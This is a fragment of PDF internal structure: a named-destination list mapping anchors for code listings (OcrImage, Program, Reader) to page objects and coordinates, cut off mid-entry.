(Code/OcrImage/:__span-0-56) [ 1635 0 R /XYZ 60.307257 570.018342 0 ] (Code/OcrImage/:__span-0-560) [ 1657 0 R /XYZ 60.307257 529.817286 0 ] (Code/OcrImage/:__span-0-561) [ 1657 0 R /XYZ 60.307257 516.416934 0 ] (Code/OcrImage/:__span-0-562) [ 1657 0 R /XYZ 60.307257 503.016582 0 ] (Code/OcrImage/:__span-0-563) [ 1657 0 R /XYZ 60.307257 489.616230 0 ] (Code/OcrImage/:__span-0-564) [ 1657 0 R /XYZ 60.307257 476.215878 0 ] (Code/OcrImage/:__span-0-565) [ 1657 0 R /XYZ 60.307257 462.815526 0 ] (Code/OcrImage/:__span-0-566) [ 1657 0 R /XYZ 60.307257 449.415174 0 ] (Code/OcrImage/:__span-0-567) [ 1657 0 R /XYZ 60.307257 436.014822 0 ] (Code/OcrImage/:__span-0-568) [ 1657 0 R /XYZ 60.307257 422.614470 0 ] (Code/OcrImage/:__span-0-569) [ 1657 0 R /XYZ 60.307257 409.214118 0 ] (Code/OcrImage/:__span-0-57) [ 1635 0 R /XYZ 60.307257 556.617990 0 ] (Code/OcrImage/:__span-0-570) [ 1657 0 R /XYZ 60.307257 395.813766 0 ] (Code/OcrImage/:__span-0-571) [ 1657 0 R /XYZ 60.307257 382.413414 0 ] (Code/OcrImage/:__span-0-572) [ 1657 0 R /XYZ 60.307257 369.013062 0 ] (Code/OcrImage/:__span-0-573) [ 1657 0 R /XYZ 60.307257 355.612710 0 ] (Code/OcrImage/:__span-0-574) [ 1657 0 R /XYZ 60.307257 342.212358 0 ] (Code/OcrImage/:__span-0-575) [ 1657 0 R /XYZ 60.307257 315.411654 0 ] (Code/OcrImage/:__span-0-576) [ 1657 0 R /XYZ 60.307257 302.011302 0 ] (Code/OcrImage/:__span-0-577) [ 1657 0 R /XYZ 60.307257 275.210598 0 ] (Code/OcrImage/:__span-0-578) [ 1657 0 R /XYZ 60.307257 261.810246 0 ] (Code/OcrImage/:__span-0-579) [ 1657 0 R /XYZ 60.307257 248.409894 0 ] (Code/OcrImage/:__span-0-58) [ 1635 0 R /XYZ 60.307257 529.817286 0 ] (Code/OcrImage/:__span-0-580) [ 1657 0 R /XYZ 60.307257 235.009542 0 ] (Code/OcrImage/:__span-0-581) [ 1657 0 R /XYZ 60.307257 221.609190 0 ] (Code/OcrImage/:__span-0-582) [ 1657 0 R /XYZ 60.307257 208.208838 0 ] (Code/OcrImage/:__span-0-583) [ 1657 0 R /XYZ 60.307257 194.808486 0 ] (Code/OcrImage/:__span-0-584) [ 1657 0 R /XYZ 60.307257 181.408134 0 ] (Code/OcrImage/:__span-0-585) [ 1657 0 R /XYZ 60.307257 168.007782 0 ] (Code/OcrImage/:__span-0-586) [ 1657 0 R /XYZ 60.307257 141.207078 0 ] (Code/OcrImage/:__span-0-587) [ 1657 0 R /XYZ 60.307257 127.806726 0 ] (Code/OcrImage/:__span-0-588) [ 1657 0 R /XYZ 60.307257 101.006022 0 ] (Code/OcrImage/:__span-0-589) [ 1657 0 R /XYZ 60.307257 87.605670 0 ] (Code/OcrImage/:__span-0-59) [ 1635 0 R /XYZ 60.307257 516.416934 0 ] (Code/OcrImage/:__span-0-590) [ 1659 0 R /XYZ 60.307257 771.023622 0 ] (Code/OcrImage/:__span-0-591) [ 1659 0 R /XYZ 60.307257 757.623270 0 ] (Code/OcrImage/:__span-0-592) [ 1659 0 R /XYZ 60.307257 744.222918 0 ] (Code/OcrImage/:__span-0-593) [ 1659 0 R /XYZ 60.307257 730.822566 0 ] (Code/OcrImage/:__span-0-594) [ 1659 0 R /XYZ 60.307257 717.422214 0 ] (Code/OcrImage/:__span-0-595) [ 1659 0 R /XYZ 60.307257 704.021862 0 ] (Code/OcrImage/:__span-0-596) [ 1659 0 R /XYZ 60.307257 690.621510 0 ] (Code/OcrImage/:__span-0-597) [ 1659 0 R /XYZ 60.307257 677.221158 0 ] (Code/OcrImage/:__span-0-598) [ 1659 0 R /XYZ 60.307257 663.820806 0 ] (Code/OcrImage/:__span-0-599) [ 1659 0 R /XYZ 60.307257 650.420454 0 ] (Code/OcrImage/:__span-0-6) [ 1633 0 R /XYZ 60.307257 640.633662 0 ] (Code/OcrImage/:__span-0-60) [ 1635 0 R /XYZ 60.307257 503.016582 0 ] (Code/OcrImage/:__span-0-600) [ 1659 0 R /XYZ 60.307257 637.020102 0 ] (Code/OcrImage/:__span-0-601) [ 1659 0 R /XYZ 60.307257 623.619750 0 ] (Code/OcrImage/:__span-0-602) [ 1659 0 R /XYZ 60.307257 610.219398 0 ] (Code/OcrImage/:__span-0-603) [ 1659 0 R /XYZ 60.307257 596.819046 0 ] (Code/OcrImage/:__span-0-604) [ 1659 0 R /XYZ 60.307257 583.418694 0 ] (Code/OcrImage/:__span-0-605) [ 1659 0 R /XYZ 60.307257 570.018342 0 ] (Code/OcrImage/:__span-0-606) [ 1659 0 R /XYZ 60.307257 556.617990 0 ] (Code/OcrImage/:__span-0-607) [ 1659 0 R /XYZ 60.307257 543.217638 0 ] (Code/OcrImage/:__span-0-608) [ 1659 0 R /XYZ 60.307257 529.817286 0 ] (Code/OcrImage/:__span-0-609) [ 1659 0 R /XYZ 60.307257 516.416934 0 ] (Code/OcrImage/:__span-0-61) [ 1635 0 R /XYZ 60.307257 476.215878 0 ] (Code/OcrImage/:__span-0-610) [ 1659 0 R /XYZ 60.307257 503.016582 0 ] (Code/OcrImage/:__span-0-611) [ 1659 0 R /XYZ 60.307257 489.616230 0 ] (Code/OcrImage/:__span-0-612) [ 1659 0 R /XYZ 60.307257 476.215878 0 ] (Code/OcrImage/:__span-0-613) [ 1659 0 R /XYZ 60.307257 462.815526 0 ] (Code/OcrImage/:__span-0-614) [ 1659 0 R /XYZ 60.307257 449.415174 0 ] (Code/OcrImage/:__span-0-615) [ 1659 0 R /XYZ 60.307257 436.014822 0 ] (Code/OcrImage/:__span-0-616) [ 1659 0 R /XYZ 60.307257 422.614470 0 ] (Code/OcrImage/:__span-0-617) [ 1659 0 R /XYZ 60.307257 395.813766 0 ] (Code/OcrImage/:__span-0-618) [ 1659 0 R /XYZ 60.307257 369.013062 0 ] (Code/OcrImage/:__span-0-619) [ 1659 0 R /XYZ 60.307257 355.612710 0 ] (Code/OcrImage/:__span-0-62) [ 1635 0 R /XYZ 60.307257 462.815526 0 ] (Code/OcrImage/:__span-0-620) [ 1659 0 R /XYZ 60.307257 342.212358 0 ] (Code/OcrImage/:__span-0-621) [ 1659 0 R /XYZ 60.307257 328.812006 0 ] (Code/OcrImage/:__span-0-622) [ 1659 0 R /XYZ 60.307257 315.411654 0 ] (Code/OcrImage/:__span-0-623) [ 1659 0 R /XYZ 60.307257 302.011302 0 ] (Code/OcrImage/:__span-0-624) [ 1659 0 R /XYZ 60.307257 288.610950 0 ] (Code/OcrImage/:__span-0-625) [ 1659 0 R /XYZ 60.307257 275.210598 0 ] (Code/OcrImage/:__span-0-626) [ 1659 0 R /XYZ 60.307257 261.810246 0 ] (Code/OcrImage/:__span-0-627) [ 1659 0 R /XYZ 60.307257 248.409894 0 ] (Code/OcrImage/:__span-0-628) [ 1659 0 R /XYZ 60.307257 235.009542 0 ] (Code/OcrImage/:__span-0-629) [ 1659 0 R /XYZ 60.307257 221.609190 0 ] (Code/OcrImage/:__span-0-63) [ 1635 0 R /XYZ 60.307257 449.415174 0 ] (Code/OcrImage/:__span-0-630) [ 1659 0 R /XYZ 60.307257 208.208838 0 ] (Code/OcrImage/:__span-0-631) [ 1659 0 R /XYZ 60.307257 194.808486 0 ] (Code/OcrImage/:__span-0-632) [ 1659 0 R /XYZ 60.307257 181.408134 0 ] (Code/OcrImage/:__span-0-633) [ 1659 0 R /XYZ 60.307257 168.007782 0 ] (Code/OcrImage/:__span-0-634) [ 1659 0 R /XYZ 60.307257 141.207078 0 ] (Code/OcrImage/:__span-0-635) [ 1659 0 R /XYZ 60.307257 127.806726 0 ] (Code/OcrImage/:__span-0-636) [ 1659 0 R /XYZ 60.307257 101.006022 0 ] (Code/OcrImage/:__span-0-637) [ 1659 0 R /XYZ 60.307257 87.605670 0 ] (Code/OcrImage/:__span-0-638) [ 1661 0 R /XYZ 60.307257 771.023622 0 ] (Code/OcrImage/:__span-0-639) [ 1661 0 R /XYZ 60.307257 757.623270 0 ] (Code/OcrImage/:__span-0-64) [ 1635 0 R /XYZ 60.307257 422.614470 0 ] (Code/OcrImage/:__span-0-640) [ 1661 0 R /XYZ 60.307257 744.222918 0 ] (Code/OcrImage/:__span-0-641) [ 1661 0 R /XYZ 60.307257 730.822566 0 ] (Code/OcrImage/:__span-0-642) [ 1661 0 R /XYZ 60.307257 717.422214 0 ] (Code/OcrImage/:__span-0-643) [ 1661 0 R /XYZ 60.307257 704.021862 0 ] (Code/OcrImage/:__span-0-644) [ 1661 0 R /XYZ 60.307257 690.621510 0 ] (Code/OcrImage/:__span-0-645) [ 1661 0 R /XYZ 60.307257 663.820806 0 ] (Code/OcrImage/:__span-0-646) [ 1661 0 R /XYZ 60.307257 650.420454 0 ] (Code/OcrImage/:__span-0-647) [ 1661 0 R /XYZ 60.307257 623.619750 0 ] (Code/OcrImage/:__span-0-648) [ 1661 0 R /XYZ 60.307257 610.219398 0 ] (Code/OcrImage/:__span-0-649) [ 1661 0 R /XYZ 60.307257 596.819046 0 ] (Code/OcrImage/:__span-0-65) [ 1635 0 R /XYZ 60.307257 409.214118 0 ] (Code/OcrImage/:__span-0-650) [ 1661 0 R /XYZ 60.307257 583.418694 0 ] (Code/OcrImage/:__span-0-651) [ 1661 0 R /XYZ 60.307257 570.018342 0 ] (Code/OcrImage/:__span-0-652) [ 1661 0 R /XYZ 60.307257 556.617990 0 ] (Code/OcrImage/:__span-0-653) [ 1661 0 R /XYZ 60.307257 543.217638 0 ] (Code/OcrImage/:__span-0-654) [ 1661 0 R /XYZ 60.307257 529.817286 0 ] (Code/OcrImage/:__span-0-655) [ 1661 0 R /XYZ 60.307257 516.416934 0 ] (Code/OcrImage/:__span-0-656) [ 1661 0 R /XYZ 60.307257 503.016582 0 ] (Code/OcrImage/:__span-0-657) [ 1661 0 R /XYZ 60.307257 489.616230 0 ] (Code/OcrImage/:__span-0-658) [ 1661 0 R /XYZ 60.307257 476.215878 0 ] (Code/OcrImage/:__span-0-659) [ 1661 0 R /XYZ 60.307257 462.815526 0 ] (Code/OcrImage/:__span-0-66) [ 1635 0 R /XYZ 60.307257 395.813766 0 ] (Code/OcrImage/:__span-0-660) [ 1661 0 R /XYZ 60.307257 449.415174 0 ] (Code/OcrImage/:__span-0-661) [ 1661 0 R /XYZ 60.307257 436.014822 0 ] (Code/OcrImage/:__span-0-662) [ 1661 0 R /XYZ 60.307257 422.614470 0 ] (Code/OcrImage/:__span-0-663) [ 1661 0 R /XYZ 60.307257 409.214118 0 ] (Code/OcrImage/:__span-0-664) [ 1661 0 R /XYZ 60.307257 395.813766 0 ] (Code/OcrImage/:__span-0-665) [ 1661 0 R /XYZ 60.307257 382.413414 0 ] (Code/OcrImage/:__span-0-666) [ 1661 0 R /XYZ 60.307257 369.013062 0 ] (Code/OcrImage/:__span-0-667) [ 1661 0 R /XYZ 60.307257 355.612710 0 ] (Code/OcrImage/:__span-0-668) [ 1661 0 R /XYZ 60.307257 342.212358 0 ] (Code/OcrImage/:__span-0-669) [ 1661 0 R /XYZ 60.307257 328.812006 0 ] (Code/OcrImage/:__span-0-67) [ 1635 0 R /XYZ 60.307257 369.013062 0 ] (Code/OcrImage/:__span-0-670) [ 1661 0 R /XYZ 60.307257 315.411654 0 ] (Code/OcrImage/:__span-0-671) [ 1661 0 R /XYZ 60.307257 302.011302 0 ] (Code/OcrImage/:__span-0-672) [ 1661 0 R /XYZ 60.307257 288.610950 0 ] (Code/OcrImage/:__span-0-673) [ 1661 0 R /XYZ 60.307257 275.210598 0 ] (Code/OcrImage/:__span-0-68) [ 1635 0 R /XYZ 60.307257 355.612710 0 ] (Code/OcrImage/:__span-0-69) [ 1635 0 R /XYZ 60.307257 342.212358 0 ] (Code/OcrImage/:__span-0-7) [ 1633 0 R /XYZ 60.307257 627.233310 0 ] (Code/OcrImage/:__span-0-70) [ 1635 0 R /XYZ 60.307257 315.411654 0 ] (Code/OcrImage/:__span-0-71) [ 1635 0 R /XYZ 60.307257 302.011302 0 ] (Code/OcrImage/:__span-0-72) [ 1635 0 R /XYZ 60.307257 288.610950 0 ] (Code/OcrImage/:__span-0-73) [ 1635 0 R /XYZ 60.307257 261.810246 0 ] (Code/OcrImage/:__span-0-74) [ 1635 0 R /XYZ 60.307257 248.409894 0 ] (Code/OcrImage/:__span-0-75) [ 1635 0 R /XYZ 60.307257 235.009542 0 ] (Code/OcrImage/:__span-0-76) [ 1635 0 R /XYZ 60.307257 208.208838 0 ] (Code/OcrImage/:__span-0-77) [ 1635 0 R /XYZ 60.307257 194.808486 0 ] (Code/OcrImage/:__span-0-78) [ 1635 0 R /XYZ 60.307257 181.408134 0 ] (Code/OcrImage/:__span-0-79) [ 1635 0 R /XYZ 60.307257 154.607430 0 ] (Code/OcrImage/:__span-0-8) [ 1633 0 R /XYZ 60.307257 613.832958 0 ] (Code/OcrImage/:__span-0-80) [ 1635 0 R /XYZ 60.307257 141.207078 0 ] (Code/OcrImage/:__span-0-81) [ 1635 0 R /XYZ 60.307257 127.806726 0 ] (Code/OcrImage/:__span-0-82) [ 1635 0 R /XYZ 60.307257 101.006022 0 ] (Code/OcrImage/:__span-0-83) [ 1635 0 R /XYZ 60.307257 87.605670 0 ] (Code/OcrImage/:__span-0-84) [ 1637 0 R /XYZ 60.307257 771.023622 0 ] (Code/OcrImage/:__span-0-85) [ 1637 0 R /XYZ 60.307257 744.222918 0 ] (Code/OcrImage/:__span-0-86) [ 1637 0 R /XYZ 60.307257 730.822566 0 ] (Code/OcrImage/:__span-0-87) [ 1637 0 R /XYZ 60.307257 717.422214 0 ] (Code/OcrImage/:__span-0-88) [ 1637 0 R /XYZ 60.307257 690.621510 0 ] (Code/OcrImage/:__span-0-89) [ 1637 0 R /XYZ 60.307257 677.221158 0 ] (Code/OcrImage/:__span-0-9) [ 1633 0 R /XYZ 60.307257 600.432606 0 ] (Code/OcrImage/:__span-0-90) [ 1637 0 R /XYZ 60.307257 663.820806 0 ] (Code/OcrImage/:__span-0-91) [ 1637 0 R /XYZ 60.307257 637.020102 0 ] (Code/OcrImage/:__span-0-92) [ 1637 0 R /XYZ 60.307257 623.619750 0 ] (Code/OcrImage/:__span-0-93) [ 1637 0 R /XYZ 60.307257 610.219398 0 ] (Code/OcrImage/:__span-0-94) [ 1637 0 R /XYZ 60.307257 583.418694 0 ] (Code/OcrImage/:__span-0-95) [ 1637 0 R /XYZ 60.307257 570.018342 0 ] (Code/OcrImage/:__span-0-96) [ 1637 0 R /XYZ 60.307257 556.617990 0 ] (Code/OcrImage/:__span-0-97) [ 1637 0 R /XYZ 60.307257 543.217638 0 ] (Code/OcrImage/:__span-0-98) [ 1637 0 R /XYZ 60.307257 529.817286 0 ] (Code/OcrImage/:__span-0-99) [ 1637 0 R /XYZ 60.307257 516.416934 0 ] (Code/OcrImage/:ocrimagecs) [ 1633 0 R /XYZ 39.386457 747.563622 0 ] (Code/Program/:) [ 1549 0 R /XYZ 39.386457 747.563622 0 ] (Code/Program/:__span-0-1) [ 1549 0 R /XYZ 60.307257 707.635422 0 ] (Code/Program/:__span-0-10) [ 1549 0 R /XYZ 60.307257 587.032254 0 ] (Code/Program/:__span-0-11) [ 1549 0 R /XYZ 60.307257 573.631902 0 ] (Code/Program/:__span-0-12) [ 1549 0 R /XYZ 60.307257 560.231550 0 ] (Code/Program/:__span-0-13) [ 1549 0 R /XYZ 60.307257 546.831198 0 ] (Code/Program/:__span-0-14) [ 1549 0 R /XYZ 60.307257 533.430846 0 ] (Code/Program/:__span-0-15) [ 1549 0 R /XYZ 60.307257 520.030494 0 ] (Code/Program/:__span-0-16) [ 1549 0 R /XYZ 60.307257 506.630142 0 ] (Code/Program/:__span-0-17) [ 1549 0 R /XYZ 60.307257 493.229790 0 ] (Code/Program/:__span-0-18) [ 1549 0 R /XYZ 60.307257 479.829438 0 ] (Code/Program/:__span-0-19) [ 1549 0 R /XYZ 60.307257 466.429086 0 ] (Code/Program/:__span-0-2) [ 1549 0 R /XYZ 60.307257 694.235070 0 ] (Code/Program/:__span-0-20) [ 1549 0 R /XYZ 60.307257 453.028734 0 ] (Code/Program/:__span-0-21) [ 1549 0 R /XYZ 60.307257 439.628382 0 ] (Code/Program/:__span-0-22) [ 1549 0 R /XYZ 60.307257 426.228030 0 ] (Code/Program/:__span-0-3) [ 1549 0 R /XYZ 60.307257 680.834718 0 ] (Code/Program/:__span-0-4) [ 1549 0 R /XYZ 60.307257 667.434366 0 ] (Code/Program/:__span-0-5) [ 1549 0 R /XYZ 60.307257 654.034014 0 ] (Code/Program/:__span-0-6) [ 1549 0 R /XYZ 60.307257 640.633662 0 ] (Code/Program/:__span-0-7) [ 1549 0 R /XYZ 60.307257 627.233310 0 ] (Code/Program/:__span-0-8) [ 1549 0 R /XYZ 60.307257 613.832958 0 ] (Code/Program/:__span-0-9) [ 1549 0 R /XYZ 60.307257 600.432606 0 ] (Code/Program/:programcs) [ 1549 0 R /XYZ 39.386457 747.563622 0 ] (Code/Reader/:) [ 1663 0 R /XYZ 39.386457 747.563622 0 ] (Code/Reader/:__span-0-1) [ 1663 0 R /XYZ 60.307257 707.635422 0 ] (Code/Reader/:__span-0-10) [ 1663 0 R /XYZ 60.307257 587.032254 0 ] (Code/Reader/:__span-0-100) [ 1667 0 R /XYZ 60.307257 529.817286 0 ] (Code/Reader/:__span-0-101) [ 1667 0 R /XYZ 60.307257 516.416934 0 ] (Code/Reader/:__span-0-102) [ 1667 0 R /XYZ 60.307257 503.016582 0 ] (Code/Reader/:__span-0-103) [ 1667 0 R /XYZ 60.307257 489.616230 0 ] (Code/Reader/:__span-0-104) [ 1667 0 R /XYZ 60.307257 476.215878 0 ] (Code/Reader/:__span-0-105) [ 1667 0 R /XYZ 60.307257 462.815526 0 ] (Code/Reader/:__span-0-106) [ 1667 0 R /XYZ 60.307257 449.415174 0 ] (Code/Reader/:__span-0-107) [ 1667 0 R /XYZ 60.307257 422.614470 0 ] (Code/Reader/:__span-0-108) [ 1667 0 R /XYZ 60.307257 395.813766 0 ] (Code/Reader/:__span-0-109) [ 1667 0 R /XYZ 60.307257 382.413414 0 ] (Code/Reader/:__span-0-11) [ 1663 0 R /XYZ 60.307257 573.631902 0 ] (Code/Reader/:__span-0-110) [ 1667 0 R /XYZ 60.307257 369.013062 0 ] (Code/Reader/:__span-0-111) [ 1667 0 R /XYZ 60.307257 355.612710 0 ] (Code/Reader/:__span-0-112) [ 1667 0 R /XYZ 60.307257 342.212358 0 ] (Code/Reader/:__span-0-113) [ 1667 0 R /XYZ 60.307257 328.812006 0 ] (Code/Reader/:__span-0-114) [ 1667 0 R /XYZ 60.307257 315.411654 0 ] (Code/Reader/:__span-0-115) [ 1667 0 R /XYZ 60.307257 302.011302 0 ] (Code/Reader/:__span-0-116) [ 1667 0 R /XYZ 60.307257 288.610950 0 ] (Code/Reader/:__span-0-117) [ 1667 0 R /XYZ 60.307257 275.210598 0 ] (Code/Reader/:__span-0-118) [ 1667 0 R /XYZ 60.307257 248.409894 0 ] (Code/Reader/:__span-0-119) [ 1667 0 R /XYZ 60.307257 235.009542 0 ] (Code/Reader/:__span-0-12) [ 1663 0 R /XYZ 60.307257 560.231550 0 ] (Code/Reader/:__span-0-120) [ 1667 0 R /XYZ 60.307257 221.609190 0 ] (Code/Reader/:__span-0-121) [ 1667 0 R /XYZ 60.307257 208.208838 0 ] (Code/Reader/:__span-0-122) [ 1667 0 R /XYZ 60.307257 194.808486 0 ] (Code/Reader/:__span-0-123) [ 1667 0 R /XYZ 60.307257 181.408134 0 ] (Code/Reader/:__span-0-124) [ 1667 0 R /XYZ 60.307257 168.007782 0 ] (Code/Reader/:__span-0-125) [ 1667 0 R /XYZ 60.307257 154.607430 0 ] (Code/Reader/:__span-0-126) [ 1667 0 R /XYZ 60.307257 141.207078 0 ] (Code/Reader/:__span-0-127) [ 1667 0 R /XYZ 60.307257 127.806726 0 ] (Code/Reader/:__span-0-128) [ 1667 0 R /XYZ 60.307257 101.006022 0 ] (Code/Reader/:__span-0-129) [ 1667 0 R /XYZ 60.307257 87.605670 0 ] (Code/Reader/:__span-0-13) [ 1663 0 R /XYZ 60.307257 546.831198 0 ] (Code/Reader/:__span-0-130) [ 1669 0 R /XYZ 60.307257 771.023622 0 ] (Code/Reader/:__span-0-131) [ 1669 0 R /XYZ 60.307257 757.623270 0 ] (Code/Reader/:__span-0-132) [ 1669 0 R /XYZ 60.307257 744.222918 0 ] (Code/Reader/:__span-0-133) [ 1669 0 R /XYZ 60.307257 730.822566 0 ] (Code/Reader/:__span-0-134) [ 1669 0 R /XYZ 60.307257 717.422214 0 ] (Code/Reader/:__span-0-135) [ 1669 0 R /XYZ 60.307257 704.021862 0 ] (Code/Reader/:__span-0-136) [ 1669 0 R /XYZ 60.307257 690.621510 0 ] (Code/Reader/:__span-0-137) [ 1669 0 R /XYZ 60.307257 677.221158 0 ] (Code/Reader/:__span-0-138) [ 1669 0 R /XYZ 60.307257 650.420454 0 ] (Code/Reader/:__span-0-139) [ 1669 0 R /XYZ 60.307257 637.020102 0 ] (Code/Reader/:__span-0-14) [ 1663 0 R /XYZ 60.307257 533.430846 0 ] (Code/Reader/:__span-0-140) [ 1669 0 R /XYZ 60.307257 623.619750 0 ] (Code/Reader/:__span-0-141) [ 1669 0 R /XYZ 60.307257 610.219398 0 ] (Code/Reader/:__span-0-142) [ 1669 0 R /XYZ 60.307257 596.819046 0 ] (Code/Reader/:__span-0-143) [ 1669 0 R /XYZ 60.307257 583.418694 0 ] (Code/Reader/:__span-0-144) [ 1669 0 R /XYZ 60.307257 570.018342 0 ] (Code/Reader/:__span-0-145) [ 1669 0 R /XYZ 60.307257 556.617990 0 ] (Code/Reader/:__span-0-146) [ 1669 0 R /XYZ 60.307257 543.217638 0 ] (Code/Reader/:__span-0-147) [ 1669 0 R /XYZ 60.307257 529.817286 0 ] (Code/Reader/:__span-0-148) [ 1669 0 R /XYZ 60.307257 503.016582 0 ] (Code/Reader/:__span-0-149) [ 1669 0 R /XYZ 60.307257 489.616230 0 ] (Code/Reader/:__span-0-15) [ 1663 0 R /XYZ 60.307257 520.030494 0 ] (Code/Reader/:__span-0-150) [ 1669 0 R /XYZ 60.307257 476.215878 0 ] (Code/Reader/:__span-0-151) [ 1669 0 R /XYZ 60.307257 462.815526 0 ] (Code/Reader/:__span-0-152) [ 1669 0 R /XYZ 60.307257 449.415174 0 ] (Code/Reader/:__span-0-153) [ 1669 0 R /XYZ 60.307257 436.014822 0 ] (Code/Reader/:__span-0-154) [ 1669 0 R /XYZ 60.307257 422.614470 0 ] (Code/Reader/:__span-0-155) [ 1669 0 R /XYZ 60.307257 409.214118 0 ] (Code/Reader/:__span-0-156) [ 1669 0 R /XYZ 60.307257 395.813766 0 ] (Code/Reader/:__span-0-157) [ 1669 0 R /XYZ 60.307257 382.413414 0 ] (Code/Reader/:__span-0-158) [ 1669 0 R /XYZ 60.307257 355.612710 0 ] (Code/Reader/:__span-0-159) [ 1669 0 R /XYZ 60.307257 342.212358 0 ] (Code/Reader/:__span-0-16) [ 1663 0 R /XYZ 60.307257 506.630142 0 ] (Code/Reader/:__span-0-160) [ 1669 0 R /XYZ 60.307257 328.812006 0 ] (Code/Reader/:__span-0-161) [ 1669 0 R /XYZ 60.307257 315.411654 0 ] (Code/Reader/:__span-0-162) [ 1669 0 R /XYZ 60.307257 302.011302 0 ] (Code/Reader/:__span-0-163) [ 1669 0 R /XYZ 60.307257 288.610950 0 ] (Code/Reader/:__span-0-164) [ 1669 0 R /XYZ 60.307257 275.210598 0 ] (Code/Reader/:__span-0-165) [ 1669 0 R /XYZ 60.307257 261.810246 0 ] (Code/Reader/:__span-0-166) [ 1669 0 R /XYZ 60.307257 248.409894 0 ] (Code/Reader/:__span-0-167) [ 1669 0 R /XYZ 60.307257 235.009542 0 ] (Code/Reader/:__span-0-168) [ 1669 0 R /XYZ 60.307257 208.208838 0 ] (Code/Reader/:__span-0-169) [ 1669 0 R /XYZ 60.307257 194.808486 0 ] (Code/Reader/:__span-0-17) [ 1663 0 R /XYZ 60.307257 493.229790 0 ] (Code/Reader/:__span-0-170) [ 1669 0 R /XYZ 60.307257 181.408134 0 ] (Code/Reader/:__span-0-171) [ 1669 0 R /XYZ 60.307257 168.007782 0 ] (Code/Reader/:__span-0-172) [ 1669 0 R /XYZ 60.307257 154.607430 0 ] (Code/Reader/:__span-0-173) [ 1669 0 R /XYZ 60.307257 141.207078 0 ] (Code/Reader/:__span-0-174) [ 1669 0 R /XYZ 60.307257 127.806726 0 ] (Code/Reader/:__span-0-175) [ 1669 0 R /XYZ 60.307257 114.406374 0 ] (Code/Reader/:__span-0-176) [ 1669 0 R /XYZ 60.307257 101.006022 0 ] (Code/Reader/:__span-0-177) [ 1669 0 R /XYZ 60.307257 87.605670 0 ] (Code/Reader/:__span-0-178) [ 1671 0 R /XYZ 60.307257 757.623270 0 ] (Code/Reader/:__span-0-179) [ 1671 0 R /XYZ 60.307257 744.222918 0 ] (Code/Reader/:__span-0-18) [ 1663 0 R /XYZ 60.307257 479.829438 0 ] (Code/Reader/:__span-0-180) [ 1671 0 R /XYZ 60.307257 730.822566 0 ] (Code/Reader/:__span-0-181) [ 1671 0 R /XYZ 60.307257 717.422214 0 ] (Code/Reader/:__span-0-182) [ 1671 0 R /XYZ 60.307257 704.021862 0 ] (Code/Reader/:__span-0-183) [ 1671 0 R /XYZ 60.307257 690.621510 0 ] (Code/Reader/:__span-0-184) [ 1671 0 R /XYZ 60.307257 677.221158 0 ] (Code/Reader/:__span-0-185) [ 1671 0 R /XYZ 60.307257 663.820806 0 ] (Code/Reader/:__span-0-186) [ 1671 0 R /XYZ 60.307257 650.420454 0 ] (Code/Reader/:__span-0-187) [ 1671 0 R /XYZ 60.307257 637.020102 0 ] (Code/Reader/:__span-0-188) [ 1671 0 R /XYZ 60.307257 623.619750 0 ] (Code/Reader/:__span-0-189) [ 1671 0 R /XYZ 60.307257 610.219398 0 ] (Code/Reader/:__span-0-19) [ 1663 0 R /XYZ 60.307257 466.429086 0 ] (Code/Reader/:__span-0-190) [ 1671 0 R /XYZ 60.307257 596.819046 0 ] (Code/Reader/:__span-0-191) [ 1671 0 R /XYZ 60.307257 583.418694 0 ] (Code/Reader/:__span-0-192) [ 1671 0 R /XYZ 60.307257 570.018342 0 ] (Code/Reader/:__span-0-193) [ 1671 0 R /XYZ 60.307257 556.617990 0 ] (Code/Reader/:__span-0-194) [ 1671 0 R /XYZ 60.307257 543.217638 0 ] (Code/Reader/:__span-0-195) [ 1671 0 R /XYZ 60.307257 529.817286 0 ] (Code/Reader/:__span-0-196) [ 1671 0 R /XYZ 60.307257 516.416934 0 ] (Code/Reader/:__span-0-197) [ 1671 0 R /XYZ 60.307257 503.016582 0 ] (Code/Reader/:__span-0-198) [ 1671 0 R /XYZ 60.307257 489.616230 0 ] (Code/Reader/:__span-0-199) [ 1671 0 R /XYZ 60.307257 476.215878 0 ] (Code/Reader/:__span-0-2) [ 1663 0 R /XYZ 60.307257 694.235070 0 ] (Code/Reader/:__span-0-20) [ 1663 0 R /XYZ 60.307257 453.028734 0 ] (Code/Reader/:__span-0-200) [ 1671 0 R /XYZ 60.307257 449.415174 0 ] (Code/Reader/:__span-0-201) [ 1671 0 R /XYZ 60.307257 436.014822 0 ] (Code/Reader/:__span-0-202) [ 1671 0 R /XYZ 60.307257 422.614470 0 ] (Code/Reader/:__span-0-203) [ 1671 0 R /XYZ 60.307257 409.214118 0 ] (Code/Reader/:__span-0-204) [ 1671 0 R /XYZ 60.307257 395.813766 0 ] (Code/Reader/:__span-0-205) [ 1671 0 R /XYZ 60.307257 382.413414 0 ] (Code/Reader/:__span-0-206) [ 1671 0 R /XYZ 60.307257 369.013062 0 ] (Code/Reader/:__span-0-207) [ 1671 0 R /XYZ 60.307257 355.612710 0 ] (Code/Reader/:__span-0-208) [ 1671 0 R /XYZ 60.307257 342.212358 0 ] (Code/Reader/:__span-0-209) [ 1671 0 R /XYZ 60.307257 328.812006 0 ] (Code/Reader/:__span-0-21) [ 1663 0 R /XYZ 60.307257 439.628382 0 ] (Code/Reader/:__span-0-210) [ 1671 0 R /XYZ 60.307257 315.411654 0 ] (Code/Reader/:__span-0-211) [ 1671 0 R /XYZ 60.307257 302.011302 0 ] (Code/Reader/:__span-0-212) [ 1671 0 R /XYZ 60.307257 288.610950 0 ] (Code/Reader/:__span-0-213) [ 1671 0 R /XYZ 60.307257 275.210598 0 ] (Code/Reader/:__span-0-214) [ 1671 0 R /XYZ 60.307257 261.810246 0 ] (Code/Reader/:__span-0-215) [ 1671 0 R /XYZ 60.307257 248.409894 0 ] (Code/Reader/:__span-0-216) [ 1671 0 R /XYZ 60.307257 235.009542 0 ] (Code/Reader/:__span-0-217) [ 1671 0 R /XYZ 60.307257 221.609190 0 ] (Code/Reader/:__span-0-218) [ 1671 0 R /XYZ 60.307257 208.208838 0 ] (Code/Reader/:__span-0-219) [ 1671 0 R /XYZ 60.307257 194.808486 0 ] (Code/Reader/:__span-0-22) [ 1663 0 R /XYZ 60.307257 426.228030 0 ] (Code/Reader/:__span-0-220) [ 1671 0 R /XYZ 60.307257 181.408134 0 ] (Code/Reader/:__span-0-221) [ 1671 0 R /XYZ 60.307257 168.007782 0 ] (Code/Reader/:__span-0-222) [ 1671 0 R /XYZ 60.307257 154.607430 0 ] (Code/Reader/:__span-0-223) [ 1671 0 R /XYZ 60.307257 141.207078 